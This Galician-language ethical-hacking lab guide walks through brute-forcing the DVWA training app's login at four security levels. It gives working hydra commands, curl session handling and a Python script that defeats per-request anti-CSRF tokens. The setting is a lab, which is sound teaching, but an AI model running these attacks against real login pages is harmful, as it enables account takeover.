Práctica 1a — Ataque de Forza Bruta con hydra sobre DVWA
Información da práctica
Sección: Prácticas Taller
Módulo: O hacking ético nas aplicacións web
Práctica: 1a — Forza Bruta con hydra
Prerrequisito: Índice da práctica — conceptos e configuración
Seguinte práctica: 1b — Forza Bruta con HexStrike AI
Aviso legal
Todo o contido desta práctica é para uso exclusivamente educativo nun contorno de laboratorio controlado e legal. Está terminantemente prohibido aplicar estas técnicas en sistemas reais sen autorización explícita e por escrito do propietario do sistema. O uso non autorizado destas técnicas pode constituír un delito penal.
Obxectivo desta práctica
Realizar o ataque de forza bruta nos catro niveis de DVWA usando hydra desde o terminal de Kali Linux, sen IA nin automatización adicional. O obxectivo é comprender o mecanismo técnico de cada nivel antes de ver como HexStrike AI automatiza o mesmo proceso na práctica 1b.
Verificación inicial
# Comprobar que DVWA está accesible
curl -s -o /dev/null -w "HTTP Status DVWA: %{http_code}\n" \
http://10.0.2.100/dvwa/login.php
# Verificar que hydra está dispoñible
hydra -V 2>/dev/null | head -2
Resultados esperados
- HTTP Status DVWA:
200 - hydra mostra a súa versión (ex:
Hydra v9.6)
Paso previo — Login e obtención da sesión
Consulta o índice
A explicación completa de por que DVWA require token CSRF está en Índice da práctica.
# Crear ficheiro de cookies
COOKIEJAR=$(mktemp /tmp/dvwa_cookies_XXXXXX.txt)
# Paso 1: Obter token CSRF do login
TOKEN=$(curl -s -c "$COOKIEJAR" \
http://10.0.2.100/dvwa/login.php \
| grep -oP "user_token.*?value='\\K[^']+")
echo "Token login: $TOKEN"
# Paso 2: POST login
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST \
http://10.0.2.100/dvwa/login.php \
-d "username=admin&password=password&Login=Login&user_token=$TOKEN" \
-o /dev/null
echo "PHPSESSID: $(grep PHPSESSID $COOKIEJAR | awk '{print $7}')"
# Paso 3: Obter token CSRF de security.php
SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")
# Paso 4: Cambiar o nivel a low (con -L para seguir o redirect 302)
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
http://10.0.2.100/dvwa/security.php \
-d "security=low&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"
echo "Ficheiro de cookies: $COOKIEJAR"
Resultado esperado
Verificar o acceso
curl -s -b "$COOKIEJAR" \
-o /dev/null \
-w "HTTP Status Brute Force: %{http_code}\n" \
http://10.0.2.100/dvwa/vulnerabilities/brute/
NIVEL LOW — Ataque directo con hydra
Configurar o nivel
SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
http://10.0.2.100/dvwa/security.php \
-d "security=low&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"
Identificar a mensaxe de fallo
curl -s -b "$COOKIEJAR" \
'http://10.0.2.100/dvwa/vulnerabilities/brute/?username=admin&password=test&Login=Login' \
| grep -o "Username and/or password incorrect"
Ataque con hydra
Hydra precisa o PHPSESSID e o nivel de seguridade como cookie. Extráeos do ficheiro:
No nivel Low o formulario usa GET. O módulo http-get-form de hydra é o axeitado.
Sintaxe de hydra con cookies — \: e orde dos campos
O módulo http-get-form usa : como separador de campos. A cookie contén : en security=low; PHPSESSID=valor, o que require:
- Escapar o
:con\:dentro deH=Cookie\: - Usar comiñas simples para o terceiro argumento
- Concatenar
$PHPSESSIDfóra das comiñas simples - Poñer
F=ao final, despois da cookie
hydra -l admin \
-P /usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt \
10.0.2.100 \
http-get-form \
'/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=low; PHPSESSID='${PHPSESSID}':F=Username and/or password incorrect' \
-V -t 16
Parámetros clave:
| Parámetro | Significado |
|---|---|
-l admin |
Usuario fixo a atacar |
-P <wordlist> |
Ficheiro de contrasinais |
http-get-form |
Módulo para formularios GET |
H=Cookie\: security=low; PHPSESSID=... |
Cookie de sesión con : escapado |
F=Username and/or password incorrect |
Cadea que indica fallo — vai ao final |
-V |
Verbose — mostra cada intento |
-t 16 |
Threads en paralelo |
Resultado esperado
NIVEL MEDIUM — Hydra adaptado ao retardo de 2 segundos
Configurar o nivel e medir o retardo
SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
http://10.0.2.100/dvwa/security.php \
-d "security=medium&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"
# Medir o retardo exacto
time curl -s -b "$COOKIEJAR" \
'http://10.0.2.100/dvwa/vulnerabilities/brute/?username=admin&password=test&Login=Login' \
-o /dev/null
Ataque con hydra adaptado
PHPSESSID=$(grep PHPSESSID $COOKIEJAR | awk '{print $7}')
hydra -l admin \
-P /usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt \
10.0.2.100 \
http-get-form \
'/dvwa/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:H=Cookie\: security=medium; PHPSESSID='${PHPSESSID}':F=Username and/or password incorrect' \
-V -t 1 -W 2
| Parámetro novo | Significado |
|---|---|
-t 1 |
Un único thread — ataque secuencial para evitar problemas co retardo |
-W 2 |
Espera 2 segundos entre intentos |
NIVEL HIGH — Script Python (hydra non é suficiente)
Por que hydra non funciona no nivel High?
O nivel High require obter un user_token fresco antes de cada petición. Hydra non pode facer isto de forma fiable porque:
Hydra (falla):
Petición 1: token=abc123 → fallo (token válido pero contrasinal malo)
Petición 2: token=abc123 → REXEITADO (token xa usado, caducou)
Resultado: todos os intentos fallan por token inválido
Script Python (funciona):
Intento 1: GET páxina → extraer token=abc123 → probar pass1 → fallo
Intento 2: GET páxina → extraer token=xyz789 → probar pass2 → fallo
Intento N: GET páxina → extraer token=def456 → probar passN → ÉXITO
Configurar o nivel e observar o token
SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
http://10.0.2.100/dvwa/security.php \
-d "security=high&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"
# Ver o token anti-CSRF na páxina de brute force
curl -s -b "$COOKIEJAR" \
http://10.0.2.100/dvwa/vulnerabilities/brute/ \
| grep "user_token"
Verás algo como:
Cada vez que recargas a páxina o token cambia.
Script Python con xestión de tokens
Garda este script como ~/dvwa-lab/brute_high.py:
#!/usr/bin/env python3
"""
Ataque de forza bruta DVWA nivel High con xestión de token anti-CSRF.
Práctica 1a — O hacking ético nas aplicacións web
"""
import requests
import re
import sys
from pathlib import Path
from time import time
TARGET_URL = "http://10.0.2.100/dvwa/vulnerabilities/brute/"
LOGIN_URL = "http://10.0.2.100/dvwa/login.php"
SECURITY_URL = "http://10.0.2.100/dvwa/security.php"
USERNAME = "admin"
WORDLIST = "/usr/share/wordlists/seclists/Passwords/Common-Credentials/2020-200_most_used_passwords.txt"
SUCCESS_MSG = "Welcome to the password protected area"
def login_dvwa(session: requests.Session) -> None:
"""Fai login en DVWA xestionando o token do formulario de login."""
r = session.get(LOGIN_URL)
match = re.search(r"user_token.*?value='([^']+)'", r.text)
token = match.group(1) if match else ""
session.post(LOGIN_URL, data={
"username": "admin",
"password": "password",
"Login": "Login",
"user_token": token
})
def set_security(session: requests.Session, level: str) -> None:
"""Establece o nivel de seguridade en DVWA."""
session.post(SECURITY_URL, data={
"security": level,
"seclev_submit": "Submit"
})
def get_csrf_token(session: requests.Session) -> str:
"""Obtén un token anti-CSRF FRESCO. Debe chamarse antes de CADA intento."""
r = session.get(TARGET_URL)
match = re.search(r"user_token.*?value='([^']+)'", r.text)
if match:
return match.group(1)
raise ValueError("[!] Non se puido extraer o token anti-CSRF")
def try_password(session: requests.Session, password: str) -> bool:
"""Proba un contrasinal con token fresco antes de cada intento."""
token = get_csrf_token(session)
r = session.get(TARGET_URL, params={
"username": USERNAME,
"password": password,
"Login": "Login",
"user_token": token
})
return SUCCESS_MSG in r.text
def main():
wordlist_path = Path(WORDLIST)
if not wordlist_path.exists():
print(f"[!] Non se atopa a wordlist: {WORDLIST}")
sys.exit(1)
session = requests.Session()
session.cookies.set("security", "high")
print("[*] Facendo login en DVWA...")
login_dvwa(session)
print(f"[*] PHPSESSID: {session.cookies.get('PHPSESSID')}")
print("[*] Configurando nivel HIGH...")
set_security(session, "high")
passwords = [p.strip() for p in
wordlist_path.read_text(encoding="latin-1").splitlines() if p.strip()]
total = len(passwords)
print(f"[*] Iniciando ataque con {total} contrasinais...")
print(f"[*] Fluxo: GET token → probar contrasinal → repetir")
print("-" * 60)
start = time()
for idx, password in enumerate(passwords, 1):
try:
print(f"[{idx:>4}/{total}] Probando: {password:<25}", end="\r")
if try_password(session, password):
elapsed = time() - start
print(f"\n[+] CONTRASINAL ATOPADO: '{password}'")
print(f"[+] Intentos realizados: {idx}")
print(f"[+] Tempo transcorrido: {elapsed:.1f}s")
sys.exit(0)
except Exception as e:
print(f"\n[!] Erro con '{password}': {e}")
print(f"\n[-] Non se atopou o contrasinal tras {total} intentos.")
if __name__ == "__main__":
main()
Executar o script
Resultado esperado
[*] Facendo login en DVWA...
[*] PHPSESSID: abc123xyz...
[*] Configurando nivel HIGH...
[*] Iniciando ataque con 197 contrasinais...
[*] Fluxo: GET token → probar contrasinal → repetir
[ 4/197] Probando: password
[+] CONTRASINAL ATOPADO: 'password'
[+] Intentos realizados: 4
[+] Tempo transcorrido: 8.3s
NIVEL IMPOSSIBLE — Verificar que non é explotable
Por que non funciona o ataque?
O nivel Impossible implementa bloqueo de conta persistente en base de datos: tras 3 intentos fallidos consecutivos, a conta queda bloqueada durante 15 minutos. O contador non se resetea ao pechar o navegador nin ao iniciar unha nova sesión — só o tempo ou un reset manual na BD o desbloquean.
Isto fai que calquera ataque de forza bruta sexa impracticable:
Hydra con 197 contrasinais e 16 threads:
Intentos 1-3: incorrect (contador sobe a 3)
Intento 4+: conta bloqueada 15 min → hydra non atopa o contrasinal
Paso 1 — Configurar o nivel Impossible
SEC_TOKEN=$(curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" \
http://10.0.2.100/dvwa/security.php \
| grep -oP "user_token.*?value='\\K[^']+")
curl -s -b "$COOKIEJAR" -c "$COOKIEJAR" -X POST -L \
http://10.0.2.100/dvwa/security.php \
-d "security=impossible&seclev_submit=Submit&user_token=$SEC_TOKEN" \
| grep -oP "Security level is currently: <em>\\K[^<]+"
Se non aparece impossible
A sesión PHPSESSID caducou. Repite o proceso de login completo do inicio.
Paso 2 — Resetear o contador na BD (servidor Ubuntu)
MySQL non acepta conexións remotas desde Kali
O porto 3306 non está exposto. O acceso á BD require SSH ao servidor Ubuntu.
O contador de fallos de admin pode ter valores acumulados de probas anteriores — incluídas as dos niveis Low, Medium e High desta mesma práctica. Se o contador xa ten 3 ou máis fallos rexistrados desde unha proba anterior, a conta estará bloqueada desde o principio e todos os intentos devolverán a mensaxe de bloqueo sen que poidamos observar a progresión real de 0 a 3 fallos. Por iso é imprescindible resetear o contador antes de comezar esta sección.
# Acceder ao servidor Ubuntu
ssh usuario@10.0.2.100
# Entrar en MySQL
mysql -u dvwa -p dvwa
# Contrasinal da BD: p@ssw0rd
Dentro de MySQL:
-- Verificar o estado actual do contador
SELECT user, failed_login, last_login FROM users WHERE user='admin';
-- Resetear o contador e o temporizador de bloqueo
UPDATE users SET failed_login=0, last_login=0 WHERE user='admin';
-- Confirmar que o reset se aplicou
SELECT user, failed_login, last_login FROM users WHERE user='admin';
Resultado esperado tras o UPDATE
Paso 3 — Demostrar o bloqueo
Desde Kali, fai varios intentos con contrasinal incorrecto:
for i in {1..5}; do
BF_TOKEN=$(curl -s -b "$COOKIEJAR" \
http://10.0.2.100/dvwa/vulnerabilities/brute/ \
| grep -oP "user_token.*?value='\\K[^']+")
RESP=$(curl -s -b "$COOKIEJAR" -L \
-X POST \
-d "username=admin&password=test${i}&Login=Login&user_token=${BF_TOKEN}" \
http://10.0.2.100/dvwa/vulnerabilities/brute/)
echo "Intento $i: $(echo "$RESP" | grep -oE 'incorrect|locked' | head -1)"
done
Por que o loop mostra incorrect en todos os intentos?
O servidor sempre inclúe a cadea incorrect na resposta, mesmo cando a conta está bloqueada. O bloqueo engádese como mensaxe adicional. Para velo completo usa este comando:
BF_TOKEN=$(curl -s -b "$COOKIEJAR" \
http://10.0.2.100/dvwa/vulnerabilities/brute/ \
| grep -oP "user_token.*?value='\\K[^']+")
curl -s -b "$COOKIEJAR" -L -X POST \
-d "username=admin&password=test_malo&Login=Login&user_token=${BF_TOKEN}" \
http://10.0.2.100/dvwa/vulnerabilities/brute/ \
| grep -oP '(?<=<pre>).*?(?=</pre>)' | sed 's/<[^>]*>//g'
Resultado esperado cando a conta está bloqueada
Paso 4 — Verificar o contador na BD tras o ataque
Desde o servidor Ubuntu, confirma que o contador se incrementou:
ssh usuario@10.0.2.100
mysql -u dvwa -p dvwa \
-e "SELECT user, failed_login, last_login FROM users WHERE user='admin';"
Resultado esperado
+-------+--------------+---------------------+
| user | failed_login | last_login |
+-------+--------------+---------------------+
| admin | 6 | 2026-04-25 21:45:36 |
+-------+--------------+---------------------+
failed_login=6 (ou superior) confirma que DVWA rexistrou os intentos na BD e que o bloqueo está activo. A conta permanecerá bloqueada ata que last_login + 15 minutos > now() ou ata que se resetee manualmente co UPDATE do Paso 2.
Resumo: ferramentas por nivel
| Nivel | Ferramenta efectiva | Motivo |
|---|---|---|
| Low | hydra ✅ | GET sen proteccións, sintaxe directa |
| Medium | hydra ✅ (-W 2) |
Retardo fixo, adaptable con -W |
| High | Script Python ✅ · hydra ❌ | Token anti-CSRF por petición |
| Impossible | Ningunha ❌ | Bloqueo de conta aos 3 fallos |